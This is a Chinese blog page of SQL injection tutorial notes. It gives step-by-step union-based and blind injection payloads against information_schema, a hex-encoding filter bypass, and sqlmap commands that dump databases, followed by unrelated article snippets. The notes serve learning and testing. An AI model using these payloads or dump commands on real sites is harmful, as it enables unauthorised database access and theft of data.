当前位置: 首页 > article >正文

SQL注入基础

普通sql注入:后台能提供有价值的错误信息,显示在页面
    手动注入
        1. 寻找sql注入点
            get注入
                ?id=xx 
                url后加'测试是否存在注入漏洞,报错则存在
            post注入
                 把参数封装在数据包中提交
                 寻找post表单:文本框,单选按钮,复选框,文件浏览,提交按钮
                 文本框内容加'测试是否存在漏洞,报错则存在
        2. 确认注入点类型(查询语句是否带'')
            数字型
                url后加 and 1=1 正常返回数据
                url后加 and 1=2 查不到数据
            字符型
                url后加 ' and 1=1# 正常返回数据
                url后加 ' and 1=2# 查不到数据
        3. 猜当前页面查询的字段总数
            order by n     逐渐加大n,直到报错
        4. 查询页面显示了哪几个字段
            url后加 and 1=2 union select 1,2,3,4,5...n
            页面中会显示相应字段出现的位置
        5. 查询当前数据库名称
            url后加 and 1=2 union select 1,2,database(),4,5...n
            3号位置显示数据库名称
        6. 查询数据库中了所有表名(mysql)
            url后加 and 1=2 union select 1,2,group_concat(table_name),4,5...n from information_schema.tables where table_schema = database()
            information_schema: mysql数据库在系统中自动创建的一个库,统计了系统中所有数据库及其数据表
        7. 查询指定表中所有字段名称
            url后加 and 1=2 union select 1,2,group_concat(column_name),4,5...n from information_schema.columns where table_name = '查询的表名'
        8. 查询指定字段的值
            url后加 and 1=2 union select 1,2,字段名,字段名,4,5...n from '表名' limit 1,1
            limit N,M : 从第 N (从0开始)条记录开始, 返回 M 条记录。

    绕过防御
        转义字符:后台可能会过滤或转义引号。把引号里的字符进行16进制的HEX转码,就无需再使用引号
        post方式:使用burpsuit抓包


    php防注入
        PDO:php data objects
盲注
    通过仅有的判断信息对表中字段进行探测
    数据库不一定是mysql,没有information_schema库
    类型
        布尔型盲注:页面可以反馈判断的对错
        延时型盲注:页面无反馈,使用sleep函数观察页面是否有延时    
    1. 寻找sql注入点
            get注入
                ?id=xx 
                url后加'测试是否存在注入漏洞,报错则存在
            post注入
                 把参数封装在数据包中提交
                 寻找post表单:文本框,单选按钮,复选框,文件浏览,提交按钮
                 文本框内容加'测试是否存在漏洞,报错则存在
    2. 确定注入点类型
        数字型
                url后加 and 1=1 正常返回数据
                url后加 and 1=2 查不到数据
        字符型
                url后加 ' and 1=1# 正常返回数据
                url后加 ' and 1=2# 查不到数据
    3. 猜数据库名的长度
        and length(database())=n  n逐渐增大
    4. 猜数据库名的单个字符
        ' and ascii(substr(database(),1,1))>97
        ' and ascii(substr(database(),1,1))<122
        通过ascii码值逐渐调整找到该字符
        注意:此substr是mysql函数,起始位置从1开始;在php中是从0开始
    5. 逐个猜出数据库名
    6. 猜该数据库有多少张表
        ' and (select count(table_name) from information_schema.tables where table_schema=database())=n
        逐渐增大n,找到表的数量
    7. 猜第一张表名的长度
        ' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1
        逐渐增大n,找到第一个表名的长度
    8. 猜第一张表,第一个字符
    9. 猜出完整表名
    10. 猜第n张表名
    11. 猜目标表的总字段数
    12. 猜字段名
    13. 猜字段值

注入工具(原理与手动注入一致)
    sqlmap注入
        get注入
            sqlmap -u 'url' --dbs    获取数据库名
            sqlmap -u 'url' -D 数据库名 --tables  获取指定数据库下的表名
            sqlmap -u 'url' -D 数据库名 -T 表名 --columns  获取指定表的字段名
            sqlmap -u 'url' -D 数据库名 -T 表名 -C 字段名,字段名 --dump  获取指定字段的值
        post注入(burpsuit开代理截取post包)
            sqlmap -r post包文件路径 --dbs  获取数据库名
            sqlmap -r post包文件路径 -D 数据库名 --tables  获取指定数据库下的表名
            sqlmap -r post包文件路径 -D 数据库名 -T 表名 --columns  获取指定表的字段名
            sqlmap -r post包文件路径 -D 数据库名 -T 表名 -C 字段名,字段名 --dump  获取指定字段的值
    啊D
    明小子旁注
    metasploit

相关文章:

SQL注入基础

普通sql注入:后台能提供有价值的错误信息&#xff0c;显示在页面 手动注入 1. 寻找sql注入点 get注入 ?idxx url后加测试是否存在注入漏洞&#xff0c;报错则存在 post注入 把参数封装…...

使用 A2A Python SDK 实现 CurrencyAgent

谷歌官方的a2a-python SDK最近频繁的更新,我们的教程也需要跟着更新,这篇文章,我们通过 a2a-python sdk的 0.2.3 版本,实现一个简单的CurrencyAgent。 https://a2aprotocol.ai/blog/a2a-sdk-currency-agent-tutorial-zh 目录 源码准备详细过程 创建项目创建虚拟环境添加依…...

qt浏览文件支持惯性

#include <QApplication> #include <QListWidget> #include <QScroller> #include <QScrollerProperties>int main(int argc, char *argv[]) {QApplication app(argc, argv);// 创建列表控件并添加示例项QListWidget listWidget;for (int i 0; i <…...

Python类的力量:第六篇:设计模式——Python面向对象编程的“架构蓝图”

文章目录 前言&#xff1a;从“代码堆砌”到“模式复用”的思维跃迁 一、创建型模式&#xff1a;对象创建的“智能工厂”1. 单例模式&#xff08;Singleton&#xff09;&#xff1a;全局唯一的“资源管家”2. 工厂模式&#xff08;Factory&#xff09;&#xff1a;对象创建的“…...

[实战]用户系统-2-完善登录和校验以及VIP

这里写目录标题 完善登录和校验新建lib-auth创建配置引入配置和JWT完善登录基本登录单点登录多点登录校验和拦截编写守卫编写装饰器使用完善VIP修改mysql模型编写vip守卫代码进度完善登录和校验 之前我们模拟过用户的登录,本节将实现token的生成,校验,redis做黑名单。我们需…...

负载均衡笔记

并发数—同时服务的调用方的数量 吞吐量—单位时间内&#xff0c;能接受和返回的数据请求量 TPS。 Transaction事务 QPS。Query 请求/查询 优化点&#xff1a; 减少并发数—防止并非过高 低级—限流—可用的用户少了&#xff1f;&#xff01; 多开几个口—分流 DNS 解析域…...

印度语言指令驱动的无人机导航!UAV-VLN:端到端视觉语言导航助力无人机自主飞行

作者&#xff1a;Pranav Saxena, Nishant Raghuvanshi and Neena Goveas单位&#xff1a;比尔拉理工学院&#xff08;戈瓦校区&#xff09;论文标题&#xff1a;UAV-VLN: End-to-End Vision Language guided Navigation for UAVs论文链接&#xff1a;https://arxiv.org/pdf/250…...

mysql都有哪些锁?

MySQL中的锁机制是确保数据库并发操作正确性和一致性的重要组成部分&#xff0c;根据锁的粒度、用途和特性&#xff0c;可以分为多种类型。以下是MySQL中常见的锁及其详细说明&#xff1a; 一、按锁的粒度划分 行级锁&#xff08;Row-level Locks&#xff09; 描述&#xff1a;…...

解锁未来AI:使用DACA模式和Agentic技术提高开发效率

学习Agentic AI:Dapr Agentic Cloud Ascent (DACA)设计模式的应用与演进 背景介绍 近年来,Agentic AI(代理型人工智能)的概念在学术界和产业界掀起了一阵热潮。Agentic AI指的是能够自主感知、决策和行动的智能体系统,它们不仅改变了我们与技术互动的方式,也为行业发展…...

HarmonyOS NEXT 使用 relationalStore 实现数据库操作

大家好&#xff0c;我是V哥。在 HarmonyOS NEXT 开发中&#xff0c;如何操作数据库&#xff0c;V 哥在测试中总结了以下学习代码&#xff0c;分享给你&#xff0c;如何想要系统学习鸿蒙开发&#xff0c;可以了解一下 V 哥最近刚刚上架出版的 《HarmonyOS 鸿蒙开发之路 卷2 从入…...

R语言学习--Day04--数据分析技巧

在清洗完数据&#xff0c;在对数据分析前&#xff0c;我们要懂得先梳理一下我们的逻辑&#xff0c;即数据是什么形式的&#xff0c;要进行哪种分析&#xff0c;有可能呈现什么特点&#xff0c;进而再想怎么处理数据去画图可以最大程度地凸显我们要的特点。 一般来讲&#xff0…...

SRS流媒体服务器之RTC播放环境搭建

环境概述 srs版本 commit 44f0c36b61bc7c3a1d51cb60be0ec184c840f09d Author: winlin <winlinvip.126.com> Date: Wed Aug 2 10:34:41 2023 0800Release v4.0-r5, 4.0 release5, v4.0.271, 145574 lines. rtc.conf # WebRTC streaming config for SRS. # see full.…...

Android 性能优化入门(三)—— ANR 问题分析

需要清楚 ANR 的概念、类型、如何产生以及如何定位分析。 1、概述 1.1 ANR 的概念 ANR&#xff08;Application Not Responding&#xff09;应用程序无响应。如果你应用程序在主线程被阻塞太长时间&#xff0c;就会出现 ANR&#xff0c;通常出现 ANR&#xff0c;系统会弹出一…...

用HTML5实现实时ASCII艺术摄像头

用HTML5实现实时ASCII艺术摄像头 项目简介 这是一个将摄像头画面实时转换为ASCII字符艺术的Web应用&#xff0c;基于HTML5和原生JavaScript实现。通过本项目可以学习到&#xff1a; 浏览器摄像头API的使用Canvas图像处理技术实时视频流处理复杂DOM操作性能优化技巧 功能亮点…...

鸿蒙Flutter实战:22-混合开发详解-2-Har包模式引入

以 Har 包的方式加载到 HarmonyOS 工程 创建工作 创建一个根目录 mkdir ohos_flutter_module_demo这个目录用于存放 flutter 项目和鸿蒙项目。 创建 Flutter 模块 首先创建一个 Flutter 模块&#xff0c;我们选择与 ohos_app 项目同级目录 flutter create --templatemodu…...

游戏引擎学习第302天:使用精灵边界进行排序

在 game_render_group.cpp 中&#xff1a;正确计算 GetBoundFor() 里的 SpriteBound 值 我们正在进行游戏的排序问题调试。虽然这是一个二维游戏&#xff0c;但包含一些三维元素&#xff0c;因此排序变得比较复杂和棘手。混合二维和三维元素时&#xff0c;需要依赖一些比较主观…...

SpringBoot+MyBatis

切换数据库连接词 引入数据库连接词的依赖&#xff0c;配置数据库连接池的类型&#xff1b; 编写测试类&#xff1a; package org.example.threelayerdecouplingdomeapplication2;import org.example.threelayerdecouplingdomeapplication2.mapper.UserMapper; import org.ex…...

wireshark: Display Filter Reference

https://www.wireshark.org/docs/dfref/// 这个里面的扩展功能还是很强大&#xff0c;可以帮着问题分析。支持大量的自定义化的字段读取功能&#xff0c;支持很多的协议。 https://www.wireshark.org/docs/dfref///f/frame.html frame.time_delta Time delta from previous ca…...

Java基础 Day19

一、泛型&#xff08;JDK5引入&#xff09; 1、基本概念 在编译阶段约束操作的数据类型&#xff0c;并进行检查 好处&#xff1a;统一数据类型&#xff0c;将运行期的错误提升到了编译期 泛型的默认类型是 Object 2、泛型类 在创建类的时候写上泛型 在创建具体对象的时候…...

VMware+Windows 11 跳过安装阶段微软账号登录

OOBE 阶段 来到这里 断开网络适配器 VMware右下角&#xff0c;点击网络适配器&#xff0c;断开连接 同时按下 Shift 和 F10 &#xff0c;打开命令提示符(cmd.exe) 输入 oobe\BypassNRO.cmd 并回车 接下来正常进行即可...

HarmonyOS开发-应用间跳转

1. HarmonyOS开发-应用间跳转 在鸿蒙中,我们再开发过程当中或多或少都会遇见想要从一个App的页面跳转至另一个App的页面,这个时候我们要怎么进行跳转呢,其实在HarmonyOS开发者文档中只需要用到Want对象和startAbility()方法进行跳转就可以了。 1.1. 实现 (1)我们要先准备两个…...

网工每日一练

2025/5/22.每日一练&#xff08;单选题&#xff09; 路由器在查找路由表时存在最长匹配原则&#xff0c;这里的长度指的是以下哪个参数&#xff1f; A. NextHopIP地址的大小 B. 路由协议的优先级 C. Cost D. 掩码的长度 路由器在查找路由表时遵循的最长匹配原则中&#xff0c;“…...

使用 Navicat 17 for PostgreSQL 时,请问哪个版本支持 PostgreSQL 的 20150623 版本?还是每个版本都支持?

&#x1f9d1;‍&#x1f4bb; PostgreSQL 用户 使用 Navicat 17 for PostgreSQL 时&#xff0c;请问哪个版本支持 PostgreSQL 的 20150623 版本&#xff1f;还是每个版本都支持&#xff1f; &#x1f9d1;‍&#x1f527; 官方技术中心 Navicat Premium 17 和 Navicat for P…...

校园二手交易系统

该交易平台分为两部分&#xff0c;前台和后台。用户在前台进行商品选购以及交易&#xff1b;管理员登录后台可以对商品进行维护&#xff0c;主要功能包含&#xff1a; 后台系统的主要功能模块如下&#xff1a; 登录功能、注册功能、后台首页 系统设置&#xff1a; 菜单管理、…...

基于pycharm,python,flask,sklearn,orm,mysql,在线深度学习sql语句检测系统

详细视频:【基于pycharm,python,flask,sklearn,orm,mysql&#xff0c;在线深度学习sql语句检测系统-哔哩哔哩】 https://b23.tv/JLQDwNn...

LangChain02-Agent与Memory模块

Agent与Memory模块深度解析 1. Agent模块原理 1.1 ReAct框架的实现机制 Agent是LangChain中最具智能化的组件&#xff0c;其核心思想基于 ReAct框架&#xff08;Reasoning Acting&#xff09;&#xff0c;即通过 思维&#xff08;Thought&#xff09; 和 行动&#xff08;Ac…...

upload-labs通关笔记-第17关文件上传之二次渲染gif格式

系列目录 upload-labs通关笔记-第1关 文件上传之前端绕过&#xff08;3种渗透方法&#xff09; upload-labs通关笔记-第2关 文件上传之MIME绕过-CSDN博客 upload-labs通关笔记-第3关 文件上传之黑名单绕过-CSDN博客 upload-labs通关笔记-第4关 文件上传之.htacess绕过-CSDN…...

计算机网络学习20250525

应用层协议原理 创建一个网络应用,编写应用程序,这些应用程序运行在不同的端系统上,通过网络彼此通信 不需要在网络核心设备(路由器,交换机)上写应用程序网络应用程序工作在网络层以下将应用程序限制在端系统上促进应用程序迅速研发和部署,将复杂问题放到网络边缘网络应…...

STM32中的SPI通信协议

IIC和SPI的对比 IIC是半双工的通信&#xff0c;无法同时收发信息&#xff1b;SPI是全双工通讯&#xff0c;可以同时收发信息&#xff1b;IIC的通讯协议较复杂&#xff0c;而SPI通讯协议较简单&#xff1b;IIC需要通过地址选择从机&#xff0c;而SPI只主要一个引脚即可选中从机…...

从版本控制到协同开发:深度解析 Git、SVN 及现代工具链

前言&#xff1a;在当今软件开发的浪潮中&#xff0c;版本控制与协同开发无疑扮演着举足轻重的角色。从最初的单兵作战到如今大规模团队的高效协作&#xff0c;一套成熟且得力的版本控制系统以及围绕其构建的现代工具链&#xff0c;已然成为推动软件项目稳步前行的关键引擎。今…...